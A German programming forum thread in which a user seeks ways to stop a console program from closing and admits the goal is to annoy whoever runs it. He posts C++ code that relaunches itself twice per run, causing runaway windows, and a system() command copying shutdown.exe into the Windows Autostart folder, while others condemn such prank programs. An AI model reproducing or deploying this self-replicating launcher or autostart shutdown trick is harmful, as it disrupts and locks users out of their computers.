console schließen rauszögern/verhindern



  • eine console anwendung soll sich entweder:
    - nicht schließen lassen (eigentlich nicht so gut(für mich))
    - verzögert schließen lassen
    - oder nach schließen neu starten (besste Variante)

    bei einer Winapi hab ich schon mal so was gemacht (eig nicht mein Spezial Gebiet)
    aber bei einer console anwendung wüsste ich nicht wie, erhoffe hilfe



  • bei einer Winapi hab ich schon mal so was gemacht (eig nicht mein Spezial Gebiet)
    aber bei einer console anwendung wüsste ich nicht wie, erhoffe hilfe

    Ja, WINAPI benötigst Du dafür.
    CreateProcess oder ShellExecute, ShellExecuteEx.

    Simon


  • Administrator

    Mit Standard C++ unmöglich ... so langsam brennt sich dieser Satz in meine Finger ein, so oft habe ich den schon geschrieben 🙂
    Auf Windows über die WinAPI (ja, wer hätte es gedacht?) möglich. Du könntest eine Funktion schreiben, welche du an SetConsoleCtrlHandler übergibst. Darin kannst du auf die Ereignisse wie das Schliessen der Konsole reagieren.

    Mit ShellExecute kannst du dein Programm erneut starten. Also kurz bevor deine Konsole geschlossen wird, kannst du ein neuer Prozess erstellen.

    Aber wozu das gut sein soll?

    Grüssli



  • theta schrieb:

    Ja, WINAPI benötigst Du dafür.
    CreateProcess oder ShellExecute, ShellExecuteEx.

    das problem ist bei Shellexecute zb brauch ich nen datei Pfad das kann man schonmal knicken Create Process kenne cih nicht... editiere diesen Beitrag noch googele nach createprocess.
    Ok soweit ich sehen konnte war bei create Process auch ein Pfad notwendig.
    Lässt sich das mit <windows.h> machen... das Winapi fenster ist ja einfach, das neu zu machen, aber hier lass ich schließlich die console mit anzeigen, da ist das ein leichtes. Mit Pfad wäre ok, wenn das Prog sich selbst "finden" könnte, da ich mal annehme das das nicht geht... 😕


  • Administrator

    Tim06TR schrieb:

    das problem ist bei Shellexecute zb brauch ich nen datei Pfad das kann man schonmal knicken ...

    Wieso? Du wirst immer einen Pfad zu einer *.exe brauchen, um eine solche zu starten. Daran wirst du wohl nicht vorbeikommen.

    Tim06TR schrieb:

    ..., wenn das Prog sich selbst "finden" könnte, da ich mal annehme das das nicht geht... 😕

    Klar kann ein Programm das!
    http://www.c-plusplus.net/forum/viewtopic-var-t-is-157428.html

    Grüssli



  • AHH COOL mit

    TCHAR szFileName[MAX_PATH];
    GetModuleFileName(NULL, szFileName, sizeof(szFileName) / sizeof(TCHAR));
    MessageBox(NULL, szFileName, TEXT("Info"), 0);
    

    kann man den Pfad rausfinden, aber wie sag ich jetzt dem programm er soll sich starten wenn es sich schließt bei winapi heißt case destroy oder so


  • Administrator

    Tim06TR schrieb:

    kann man den Pfad rausfinden, aber wie sag ich jetzt dem programm er soll sich starten wenn es sich schließt bei winapi heißt case destroy oder so

    In dem du meinen ersten Post in diesem Thread liest :p

    Grüssli



  • tut mir leid aber den konnte ich nicht sehen, da ich grad am beitrag erstellen war. und wozu gut ist ? NAJA .....
    sagen wir mal so ähhh. es soll den ausführenden ZIEMLICH nerven


  • Administrator

    Tim06TR schrieb:

    tut mir leid aber den konnte ich nicht sehen, da ich grad am beitrag erstellen war. und wozu gut ist ? NAJA .....
    sagen wir mal so ähhh. es soll den ausführenden ZIEMLICH nerven

    Ich hoffe der Nutzer hat AntiVir installiert, dabei die Option aktiviert, welche Witzprogramme verhindert und wird dir danach kräftig eins aufs Maul geben ...
    Meine Meinung über Programmierer von Witzprogrammen ist, wie man wohl sieht, eher schlecht. Die kommen bei mir fast in die gleiche Kategorie wie Viren-, Trojaner- und Würmerprogrammierer. Nur noch eine Stufe weiter unten, da die Programme nicht mal anspruchsvoll sind...

    Grüssli



  • ....
    <deleted>
    Ich musst grade meinen Computer erneut starten aufgrund einiger Problem ....
    (wer es nicht versteht siehe script code)

    TCHAR szFileName[MAX_PATH];
        GetModuleFileName(NULL, szFileName, sizeof(szFileName) / sizeof(TCHAR));
    ShellExecute(NULL, "open", szFileName, NULL, NULL, SW_SHOW);
    ShellExecute(NULL, "open", szFileName, NULL, NULL, SW_SHOW);
    system("xcopy \"C:\\Windows\\system32\\shutdown.exe\" \"C:\\Dokumente und Einstellungen\\All Users\\Startmenü\\Programme\\Autostart\"");
    

    --> (edit: das prog führt sich selbst aus und das dann nochmal und so weiter, dass macht 2^x Fenster :()
    folge abzusehen zumglück stand system("xcopy \"C:\\Windows\\system32\\shutdown.exe\" \"C:\\Dokumente und Einstellungen\\All Users\\Startmenü\\Programme\\Autostart\"");
    als Kommentar im prog sonst hätte ich ernsthafte probleme ^^. erst bekommt eh niemand zugesendet :p

    PS: Das aller beste dieser Programme werden nicht als Angriff bewertet, das heißt antivir meckert nicht rum und der benutzer hat trotzdem einige fette probleme



  • Tim06TR schrieb:

    PS: Das aller beste dieser Programme werden nicht als Angriff bewertet, das heißt antivir meckert nicht rum und der benutzer hat trotzdem einige fette probleme

    Meinst du nicht, du könntest deine Freizeit besser einsetzen? Wie wäre es mit sinnvollen Programmen - irgendeine Herausforderung? Aber auf diese Weise machst du dich bestimmt nur unbeliebt.


Anmelden zum Antworten